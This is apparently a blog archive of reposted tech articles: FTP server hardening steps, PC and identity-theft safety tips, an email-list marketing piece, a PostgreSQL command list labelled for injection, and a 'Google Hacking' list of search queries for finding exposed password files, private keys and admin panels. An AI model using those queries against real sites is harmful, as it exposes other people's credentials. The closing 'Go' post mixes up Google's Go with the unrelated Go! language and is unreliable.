You may also wish to take your ftpd sources and find all the places where it calls seteuid() and remove them, then have the wrapper do a setuid(ftp) right before the exec. This means that if someone knows a hole that makes them "root" they still won't be. Relax and imagine how frustrated they will be.

If you're hacking ftpd sources, I suggest you turn off a bunch of the options in ftpcmd.y by unsetting the "implemented" flag in ftpcmd.y. This is only practical if your FTP area is read-only.

As usual, make a pass through the FTP area and make sure that the files are in correct modes and that there's nothing else in there that can be executed.

Note, now, that your FTP area's /etc/passwd is totally separated from your real /etc/passwd. This has advantages and disadvantages.

Some stuff may break, like syslog, since there is no /dev/log. Either build a version of ftpd with a UDP-based syslog() routine or run a second syslogd based on the BSD Net2 code, that maintains a unix-domain socket named ~ftp/dev/log with the -p flag.
REMEMBER:

If there is a hole in your ftpd that lets someone get "root" access they can do you some damage even chrooted. It's just lots harder. If you're willing to hack some code, making the ftpd run without permissions is a really good thing. The correct operation of your hacked ftpd can be verified by connecting to it and (while it's still at the user prompt) do a ps-axu and verify that it's not running as root.

--------------------------------------------------------------------------------

3. OS Specific needed information and suggestions.
These machines may need dev/tcp:
Older SVR2 and SVR3 system
RTU 6.0 (Masscomp, now Concurrent Real Time UNIX),
AT&T 3B1 and 3B2 machines

[dev/tcp]
These ftpd implementations may require a ~ftp/dev/tcp in order for anonymous ftp to work.
You have to create a character special device with the appropriate major and minor device numbers. The appropriate major and minor numbers of ~ftp/dev/tcp are what the major and minor numbers of /dev/tcp are.

The ~ftp/dev is a directory and ~ftp/dev/tcp is a character special device. Make them owned and grouped by root. Permissions for ~ftp/dev is root read/write/exec and other & group read and exec. The permissions for ~ftp/dev/tcp is root read/write, other & group read.

HPUX
[Logging] If you're using HP's native ftpd, the line in /etc/inetd.conf should execute ftpd -l, which does extra logging.
Solaris 2.x
[Script] Solaris' man page contains a script for installing anonymous ftpd which saves time. You may still want to check over your anonymous ftpd for vulnerabilities.
Command for reading the man page is:

$ man ftpd
SunOS
[Libraries] To set up SunOS to use its shared dynamic libraries, follow these steps:
Create the directory ~ftp/usr. This directory is owned by root with permissions 555.

Create the directory ~ftp/usr/lib. This directory is owned by root with permissions 555.

Copy the runtime loader ld.so into ~ftp/usr/lib for use by ls. ld.so is owned by root with permissions 555.

Copy the latest version of the shared C library, libc.so.* into ~ftp/usr/lib for use by ls.
libc.so.* is owned by root with permissions 555.

Note: 4.1.2(or above) users: you also need to copy /usr/lib/libdl.so.* to ~ftp/lib.

Create the directory ~ftp/dev. This directory is owned by root with permissions 111.

~ftp/dev/zero is needed by the runtime loader. Move into the directory ~ftp/dev and create it with the command:
mknod zero c 3 12
chown ~ftp/dev/zero to root. Make sure it's readable.
Warning: For novices: Don't try to copy /dev/zero to ~ftp/dev/zero! This is an endless file of zeroes and it will completely fill your filesystem!

If you want to have the local time showing when people connect, create the directory ~ftp/usr/share/lib/zoneinfo and copy /usr/share/lib/zoneinfo/localtime

If you are bothered by the need for copying your libraries so that you can use Sun's 'ls', which is dynamically linked, you can try to get a statically linked copy of 'ls' instead. The CD-ROM that contains Sun's OS has a statically-linked version of ls. In this case, you can dispense with steps #6-8.
Statically linked versions may be available from the following sources:

If you want a statically linked "ls" get the GNU fileutils off a archive site near you and statically link it.

[Logging] Sun's standard ftpd logs *all* password information. To correct it, install patch:

101640-03 SunOS 4.1.3: in.ftpd logs password info when -d option is

used.

In /etc/inetd.conf find the line that starts with "ftp". At the end of that line, it should read "in.ftpd". Change that to "in.ftpd -dl". In /etc/syslog.conf, add a line that looks like:

daemon.* /var/adm/daemonlog

The information can be separated (or like SunOs4.1.1 does not recognize daemon.* so it requires the following form), such as:

daemon.info /var/adm/daemon.info

daemon.debug /var/adm/daemon.debug

daemon.err /var/adm/daemon.err

Note that the whitespace between the two columns must include at least one TAB character, not just spaces, or it won't work. Of course your log file could be anything you want. Then, create the logfile (touch /var/adm/daemonlog should do). Finally, restart inetd and syslogd, either individually, or by rebooting the system. You should be good to go. If you do not install the patch, make sure the log file is owned by root and mode 600, as the ftp daemon will log *everything*, including users' passwords.
Warning: You want to make all logs root only readable for security reasons If a user mistypes his password for his username, it could be compromised if anyone can read the log files.

--------------------------------------------------------------------------------

4. Where to get other FTP daemons
Wuarchive FTP 2.4- A secure FTP daemon that allows improved access-control, logging, pre-login banners, and is very configurable:
Can be ftp'd from ftp.uu.net in "/networking/ftp/wuarchive-ftpd" directory. Be certain to verify the checksum information to confirm that you have retrieved a valid copy. [Warning: Older versions of Wu-FTP are extremely insecure and in some cases have been trojaned.]

BSD SVR4

File Checksum Checksum MD5 Digital Signature

----------------- -------- --------- --------------------------------

wu-ftpd-2.4.tar.Z 38213 181 20337 362 cdcb237b71082fa23706429134d8c32e

patch_2.3-2.4.Z 09291 8 51092 16 5558a04d9da7cdb1113b158aff89be8f

For DECWRL ftpd, sites can obtain version 5.93 via anonymous FTP from gatekeeper.dec.com in the "/pub/misc/vixie" directory.

BSD SVR4

File Checksum Checksum MD5 Digital Signature

----------------- -------- --------- --------------------------------

ftpd.tar.gz 38443 60 1710 119 ae624eb607b4ee90e318b857e6573500

For BSDI systems, patch 005 should be applied to version 1.1 of the BSD/386 software. You can obtain the patch file via anonymous FTP from ftp.bsdi.com in the "/bsdi/patches-1.1" directory.

BSD SVR4

File Checksum Checksum MD5 Digital Signature

----------------- -------- --------- --------------------------------

BU110-005 35337 272 54935 543 1f454d4d9d3e1397d1eff0432bd383cf

Public Domain Sources:

ftp.uu.net ~ftp/systems/unix/bsd-sources/libexec/ftpd
gatekeeper.dec.com ~ftp/pub/DEC/gwtools/ftpd.tar.Z

--------------------------------------------------------------------------------

5. How to Know if your Anonymous FTP Server is Secure
This section is intended for the administrator to go down a small check list of things to make sure his server is not easily compromised.
Check to make sure your ftp server does not have SITE EXEC command by telneting to port 21 and typing SITE EXEC. If your ftp daemon has SITE EXEC make sure it is the most current version (ie, Wu-FTP 2.4). In older versions this allows anyone to gain shell via port 21.

Check to make sure no one can log in and make files or directories in the main directory. If anyone can log in as anonymous FTP and make files such as .rhosts and .forward, instant access is granted to any intruder.

Check to make sure the main directory is NOT owned by ftp. If it is owned by FTP, an intruder could SITE CHMOD 777 the main directory and then plant files to give him instant access. SITE CHMOD command should be removed because anonymous users do not need any extra priviledges.

Check to make sure NO files or directories are owned by ftp. If they are, it is possible an intruder could replace them with his own trojan versions.

There were several bugs in old daemons, so it is very important to make sure you are running the most current ftp daemons.

--------------------------------------------------------------------------------

6. Archie
Searches FTP sites for programs. Login into these sites as archie or use client software for faster access. To get your own anonymous site added to Archie's search list, e-mail archie-updates@bunyip.com.

archie.ac.il 132.65.20.254 (Israel server)

archie.ans.net 147.225.1.10 (ANS server, NY (USA))

archie.au 139.130.4.6 (Australian Server)

archie.doc.ic.ac.uk 146.169.11.3 (United Kingdom Server)

archie.edvz.uni-linz.ac.at 140.78.3.8 (Austrian Server)

archie.funet.fi 128.214.6.102 (Finnish Server)

archie.internic.net 198.49.45.10 (AT&T server, NY (USA))

archie.kr 128.134.1.1 (Korean Server)

archie.kuis.kyoto-u.ac.jp 130.54.20.1 (Japanese Server)

archie.luth.se 130.240.18.4 (Swedish Server)

archie.ncu.edu.tw 140.115.19.24 (Taiwanese server)

archie.nz 130.195.9.4 (New Zealand server)

archie.rediris.es 130.206.1.2 (Spanish Server)

archie.rutgers.edu 128.6.18.15 (Rutgers University (USA))

archie.sogang.ac.kr 163.239.1.11 (Korean Server)

archie.sura.net 128.167.254.195 (SURAnet server MD (USA))

archie.sura.net(1526) 128.167.254.195 (SURAnet alt. MD (USA))

archie.switch.ch 130.59.1.40 (Swiss Server)

archie.th-darmstadt.de 130.83.22.60 (German Server)

archie.unipi.it 131.114.21.10 (Italian Server)

archie.univie.ac.at 131.130.1.23 (Austrian Server)

archie.unl.edu 129.93.1.14 (U. of Nebraska, Lincoln (USA))

archie.univ-rennes1.fr (French Server)

archie.uqam.ca 132.208.250.10 (Canadian Server)

archie.wide.ad.jp 133.4.3.6 (Japanese Server)

Anonymous FTP FAQ

2011-01-06T10:31:00.001-08:00

Basic Steps To Optimize Your Internet Security

2011-01-06T10:28:00.001-08:00

by: Popescu Alexandru

After seeing many people complain about their weak Internet security I decided to write down some things that will help you for your Internet security.

First, here are some tips to make windows safer :

For basic security and update patches install Service Pack 2 for Windows XP or Service Pack 4 for Windows 2000.

Once a month use Windows Update so you can get the latest pacthes.

When you download software from the Internet make sure you download it from the original website.

Always run anti Trojan and anti virus software.

Even if you don't use it you have to make your Internet Explorer as safe as possible.

When you access the Internet you are browsing the web using a browser such as Internet Explorer.The Internet Explorer contains several security vulnerabilities. You should make it as safe as possible or switch your default browser to an alternative. You will have to set some options from the Manage Add-Ons in the Internet Options. You will see a list of add-ons that can be activated or deactivated. If you see any unusual entries just deactivate them so you can be sure you don't have a trojan/worm.

Under Internet Options -> Security -> Internet -> you will see the Edit Level.You should set it to high in order to disable most of the security threats.

Your Web Browser should be ok now. Let's see what we have to do from our email point of view.

Because it's built-in in their Windows system lots of users like to use Outlook Express for emailing. But it's a fact that it contains many security vulnerabilities so I advise you to use alternatives. If you use a web based Email (you can browse your email with your web browser) you can delete viruses even if you don't download them to your PC.

Make sure you have installed an Anti Virus for 100% virus protection. One that I've found to be very good and never disappointed me is the AVG Anti virus. If you take the time to regularly update it you will be safe enough with it.

Lots of people install Firewalls because they belive their Internet security will be higher. I personaly disagree. If you do not know how to best configure it, and you have to know much about the tech behind it to do so, it will just make your PC slow and software not working.You can just use the Windows XP SP2 firewall for basic security.

All this tips should make your PC safer. I browse the Internet every single day for some time now and they worked great for me. I haven't met a virus/worm for some time now.

Note: this is an abstract

Tips to Build Your Email Address Database

2011-01-06T10:27:00.000-08:00

WHY BUILD YOUR EMAIL ADDRESS DATABASE?

Gaining your customers' email addresses will:

•Provide an additional channel for reaching your customers
•Increase the ROI of your marketing investments
•Significantly reduce your customer acquisition and marketing costs
•Allow you to easily measure the impact of your marketing campaigns
•Increase your customer participation and retention rates
With ongoing postal and telemarketing pressures impacting marketing budgets for many organizations this year, email marketing could become the "silver lining " for many marketers. But how do you create a successful email marketing campaign if you do not have a substantial email database? That question may be one of the largest Internet related challenges facing companies this year.

Research shows that the majority of organizations have email addresses for less than 10% of their postal files. So how do you level the playing field and start to add quality permission - based email addresses to your database?

Here are some tips that you can use to cost effectively build your email address database and increase your customer participation and retention rates:

START TO ASK FOR IT!

Every communication or touch point with a customer should start or end with a request for an email address. By utilizing the four points below, you should be able to add email addresses for 5% to 10% of your postal file over the course of one year.

1. Direct Mail Collection

Think about how much time and money you spent for copy and design on your last new direct mail piece. Most companies have started to ask their customers for their email address information within these mailings. This is a great step forward. However, companies need to look at one major improvement if they want to increase their email address collection rates.

To date, most requests for email address information have been pushed, shoved or jammed into whatever white space remains. It should be no surprise that the success rate has been less than stellar.

To improve on these efforts, you need to provide your members with a reason to release their email addresses to you. E-newsletters, purchase confirmations, petitions, and special discounts and offers are but a few of the benefits that will encourage your members to come on board.

2. Web Page Collection

Many companies have an email address collection function in place via the web. To improve your sign-up rates, add text below the email request box that informs your visitors of the special email benefits that they will receive (i.e. e-newsletters, purchase confirmations, delivery updates, etc.) upon registering. You can also utilize a pop-up link to inform users of these special benefits.

Finally, your email address request function should be available on your home page. Don't make your users go and look for it. Every click away from your home page reduces the chances of your users taking an action and providing you with their email address information.

3. Existing Email Database Collection

Don't forget to ask the members of your existing customer base for email addresses of their friends, family and associates. Viral marketing is a powerful tool to use and is extremely cost effective! You could ask them either to provide you with additional addresses or simply to pass on your newsletter, email specific offers, or other information to others they feel have similar interests.

4. Telemarketing Collection

Don't assume that your telemarketing agents are asking for email addresses from potential customers. Ensure that your agents have an updated script, which outlines the previously described benefits to potential customers of providing their email addresses.

The suggestions above are a great start! Yet they really should be viewed as a secondary plan for building your email database. To exponentially and expeditiously grow your email database, please read on!

EMAIL APPENDING

Utilizing an email appending service enables you to add email addresses for up to 25% of your postal file, all within 3-4 weeks.

Email Appending - is the process of adding an individual's email address to that individual's postal record in side your existing database. This is accomplished by matching the postal database against a third party, permission based database of postal and email address information.

Best Practices - Email Appending is not a prospecting tool. The DMA (Direct Marketing Association) and its interactive arm AIM (Association of Interactive Marketing) have guidelines in place that dictate that email appending only be used to append email addresses to your existing opt-in postal record house file.

The Process - Your opt-in postal file is securely transferred to an email appending provider, who will do an initial gross email address match of your file against its opt-in database of postal and email address records. Your appending provider will then send these matches a permission-based message prepared by you. All bounces and opt-out requests will be removed from the list. At that point a valid permission-based email address file of your customers will be delivered back to you.

Cost - Less than the price of a postal stamp!

IN SUMMARY

The first step of any successful email marketing effort is to build a permission-based email address list of your customers. The simplest, quickest and most cost-effective way to do this is through email appending, which will enable you to add email addresses for up to 25% of your postal file. Secondary efforts of email address collection via focused direct mail, web, viral and telemarketing practices are also important and will enable you to add email addresses for an additional 5% to 10% of your base on an annual basis.

Best of luck in building your email address database. As many companies have already learned, the ROI and cost savings to be achieved will far exceed your expectations.

Bill Kaplan
CEO
FreshAddress, Inc.

FreshAddress, Inc., The Email Address ExpertsTM, provides a comprehensive suite of industry leading database and email deliverability services to help companies increase their e-commerce revenues. For more information on how we can help "Build and Update" your email list, visit http://freshaddress.com/biz or email biz@freshaddress.com.

How to Prevent Online Identity Theft

2011-01-06T10:25:00.001-08:00

- (c) Jim Edwards - All Rights reserved

Identity theft rates one of the fastest growing crimes in mAmerica today and the Internet can make it even easier for some criminals to take your good name and drag it through the mud.

Identity theft involves criminals stealing your personal information such as credit card numbers, social security numbers and other information, usually to buy things on credit or to empty out your bank accounts.

Through your financial liability with your credit cards may be limited to $50 to $500, it can take years for you to clean up the mess online identity thieves leave behind.

As with any crime, an ounce of prevention may just cause the would-be identity thieves to leave you alone and move on to an easier target.

The following tips can help you avoid having your identity stolen.

1. Never give out your social security number, online or otherwise. No company you buy things from needs your social security number.

If you do business on the web, obtain a a Federal Tax ID number to use instead of your social security number.

Once criminals have your social security number, along with your birth date and address, they have virtually everything they need to start wreaking havoc in your life.

2. Use a good anti-virus program. One of the ways criminals get your credit card numbers, passwords and other sensitive information is through "Trojan horse" viruses that log your keystrokes and transmit information to the evil doers.

The "Bad Trans" virus that has caused so much havoc is just such a virus.

3. Always use a "secure" server when transmitting credit card information over the web and know something about the company before handing over your information.

You can feel pretty confident that you are using a secure server if a little lock displays in the status bar on the bottom of your web browser.

4. A popular new way to pay for goods and services online is to "use your checking account just like a credit card".

Be extremely cautious about paying this way through the web. By giving a company your checking account numbers you give away much of the information necessary to empty your bank account!

5. Never give out information such as your birthday, marital status, education level or other personal information.

This additional information makes it extremely easy for criminals to make themselves appear legitimate when they pose as you. Websites should ultimately only require you to provide your name, email and billing information for a purchase.

You should avoid any site requiring more information than that.

These criminals prey on people's ignorance and you can usually defeat them simply by making it too hard for them to get your information.

If you do find yourself a victim, immediately contact police and get legal help. Do not wait because you feel embarrassed or "stupid" over what happened.

Waiting only lets the trail grow cold and limits how much law enforcement can do to help you.

More Free Tools Increase Security For Your PC

2011-01-06T10:24:00.000-08:00

More Free Tools Increase Security For Your PC
- by Jim Edwards

A recent article about preventing hackers from breaking
into your computer caused an overwhelming response by
readers.

It seems everyone has an opinion about the best software
and advice for keeping your computer safe from viruses and
online predators. The following will help you increase your
online security and usually without spending a dime!

Zone Alarm

Zone Alarm offers several versions of their
popular firewall software with various options for
increased security. The basic firewall software comes free
of charge and ranks among the most highly rated firewalls
available. The paid version helps you to eliminate
everything from pop-up windows to unwanted advertising and
also helps you track hackers back to their source.

Visit www.zonealarm.com to download your copy today,
especially if you don't already carry a firewall on your
system.

The Guru Of Security

Visit www.grc.com if you want a real "eye opener!" Frankly,
some of the things I saw on this website shocked me. I had
no idea so many potential problems existed for breaches in
your online security.

But what also shocked me was how simple most of the "fixes"
rate for securing your computer against attack. It became
very apparent to me that most computer hackers don't
exploit hardware or software weaknesses, they actually
exploit our ignorance about the simple steps we should take
to protect ourselves and others.

When you visit www.grc.com you'll see the site covers a lot
of ground. Since you might find it easy to get sidetracked
with all the interesting information, make sure to
specifically check out the "Shields Up!" area. This section
offers two comprehensive tests of your Internet connection
to check for the typical points of entry used by hackers.

The first test, "Test My Shields," checks the security of
your Internet connection itself and how much system and
personal information others can obtain without your
knowledge.

The second test, "Probe My Ports," attempts to find open
ports on your computer and evaluate how and where a hacker
could enter.

Both tests will help you spot the most common and obvious
vulnerabilities most of us face when connected to the
Internet. Also to its credit (and unlike similar sites),
this website doesn't use these tests as a lead-in to try to
sell you anything.

Free Anti-Virus Software

Visit www.grisoft.com to download a free anti-virus
software package that rivals anything you could buy. The
software comes with free updates on virus definitions
(critical for up-to-date protection) and will even certify
your outgoing email as virus free!

I have used this software myself and, though nothing rates
perfect, I have found it rivals products costing $50 or
more. If you don't carry virus protection software on your
computer, stop this minute and go to www.grisoft.com to
download the free version now.

With so many resources and advice available for free, no
valid excuse exists for not immediately securing your
computer against hackers, vandals, viruses and malicious
code.

--------------------------------------------------------------------------------
About the author:

Jim Edwards is a syndicated newspaper columnist and the co-
author of an amazing new ebook that will teach you how to
use free articles to quickly drive thousands of targeted
visitors to your website or affiliate links...
Simple "Traffic Machine" brings Thousands of NEW visitors to
your website for weeks, even months... without spending a
dime on advertising!

SQL Commands (usefull for injection)

2010-08-28T19:39:00.001-07:00

SQL Commands (usefull for injection) - Submitted By: angle_boy1826 2008-10-05 00:56:01

NOTE: I am not responsible for this do this at your own risk .

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

Google Hacking

2010-08-28T19:35:00.000-07:00

GGoogle Hacking - Submitted By: Ausome1 2008-08-19 10:54:53

Google hacking sounds interesting is'nt... well most of us are fascinated in hacking, cracking and freaking..

Google hacking is not just hacking google (well you need to be smart ) .. these are codes which narrows down your search .

hope these codes will help you out in one way or the other.

[code]

inurl:index.of.password
Directory listing contains password file(s)?

intitle:"Index of" service.pwd
Directory listing contains service.pwd file(s)

intitle:"Index of" view-source
Directory listing contains view-source file(s)

intitle:"Index of" admin
Direcory listing contains administrative files or directories

intitle:"Index of" .htpasswd
Directory listing contains .htpasswd file!

intitle:"Index of" log.txt
Directory listing contians log text files

intitle:"Index of" stats.html
Directory listing contains stats.html which may contain useful web server statistics

"access denied for user" "using password"
Web page contains error message which might provide useful application information

"A syntax error has occurred" filetype:ihtml
Web page contains error message which might provide useful application information

"ORA-00921: unexpected end of SQL command"
Web page contains error message which might provide useful application information

inurl:passlist.txt
The passlist.txt file may contain user passwords

"Index of /backup"
Directory may contain sensitive backup files

intitle:"Index of" .bash_history
Directory listing contains bash history information

intitle:"Index of" index.html.bak
Directory listing contains backup index file (index.html.bak)

intitle:"Index of" index.php.bak
Directory listing contains backup index file (index.html.bak)

intitle:"Index of" guestbook.cgi
Directory listing contains backup index file (index.html.bak)

intitle"Test Page for Apache"
Default test page for Apache

intitle:index.of.etc
Directory listing of /etc ?

filetype:xls username password
XLS spreadseet containing usernames and passwords?

"This file was generated by Nessus"
Nessus report!

intitle:"Index of" secring.bak
Secret key file

intitle:"Terminal Services Web Connection"
Access terminal services!

intitle:"Remote Desktop Web Connection"
Access Remote Desktop!

intitle:"Index of" access_log
Directory listing contains access_log file which may store sensitive information

intitle:"Index of" finance.xls
Directory listing contains finance.xls which may contain sensitive information

intitle:"Usage Statistics for"
Statistical information may contain sensitive data

intitle:"Index of" WSFTP.LOG
WSFTP.LOG file contains information about FTP transactions

intitle:"Index of" ws_ftp.ini
The ws_ftp.ini file may contain usernames and passwords of FTP users

"not for distribution" confidential
URL may contain confidential or sensitive information

"phpMyAdmin" "running on" inurl:"main.php"
phpMyAdmin allows remote mysql database administration

"#mysql dump" filetype:sql
mysql database dumps

"This summary was generated by wwwstat"
Database statistics

"Host Vulnerability Summary Report"
Vulnerability report!

"Network Vulnerability Assessment Report"
Vulnerability report!

inurl:php.ini filetype:ini
The php.ini file may contain sensitive PHP environment details.

BEGIN (CERTIFICATE|DSA|RSA) filetype:key
Private key(s)!

BEGIN (CERTIFICATE|DSA|RSA) filetype:csr
Private key(s)!

BEGIN (CERTIFICATE|DSA|RSA) filetype:crt
Private key(s)!

intitle:"Index of" passwd passwd.bak
passwd file!

intitle:"Index of" master.passwd
master.passwd file!

intitle:"Index of" pwd.db
pwd.db file may contain password information

intitle:"Index of..etc" passwd
passwd file!

filetype:cfg ks intext:rootpw -sample -test -howto
This file may contain the root password (encrypted)

intitle:"index.of.personal"
Directory may contain sensitive information

intitle:"Index of" login.jsp
The login.jsp file may contain database username or password information

intitle:"Index of" logfile
Directory may contain sensitive log files

filetype:php inurl:"viewfile" -"index.php" -"idfil
File may contain PHP source code

allinurl:intranet admin
Page may contain sensitive information

"supplied argument is not a valid MySQL result resource"
mysql error message may reveal sensitive information

"Error Diagnostic Information" intitle:"Error Occurred While"
Error message may reveal sensitive information

HTTP_USER_AGENT=Googlebot
Page may contain sensitive environment details

[/code]

Go

2010-08-22T12:40:00.000-07:00

You must be wondering why have i used the title "Go".

For starters Go is a programming Language developed by google fairly easy to understand and to implement.

The best part of this is it is open source , that is the beauty of it.

So with out further due.. lets proceed and give you a taste of Go

_

Go! is an agent-based programming language in the tradition of logic-based programming languages like Prolog. It was introduced in a 2003 paper by Francis McCabe and Keith Clark.

Upon the November 2009 release of Google's Go programming language (note lack of exclamation point), McCabe asked Google to change the name of their language and accused the company of "steam-rolling over us". The issue received attention among technology news websites, with some of them characterizing Go! as "obscure".

Design

The authors of Go! describe it as "a multi-paradigm programming language that is oriented to the needs of programming secure, production quality, agent based applications. It is multi-threaded, strongly typed and higher order (in the functional programming sense). It has relation, function and action procedure definitions. Threads execute action procedures, calling functions and querying relations as need be. Threads in different agents communicate and coordinate using asynchronous messages. Threads within the same agent can also use shared dynamic relations acting as Linda-style tuple stores."

The authors also propose that the language is suitable for representing ontologies due to its integration of logic, functional, object-oriented and imperative styles of programming.

If you want references please let me know..

Books : Lets Go! textbook by Francis McCabe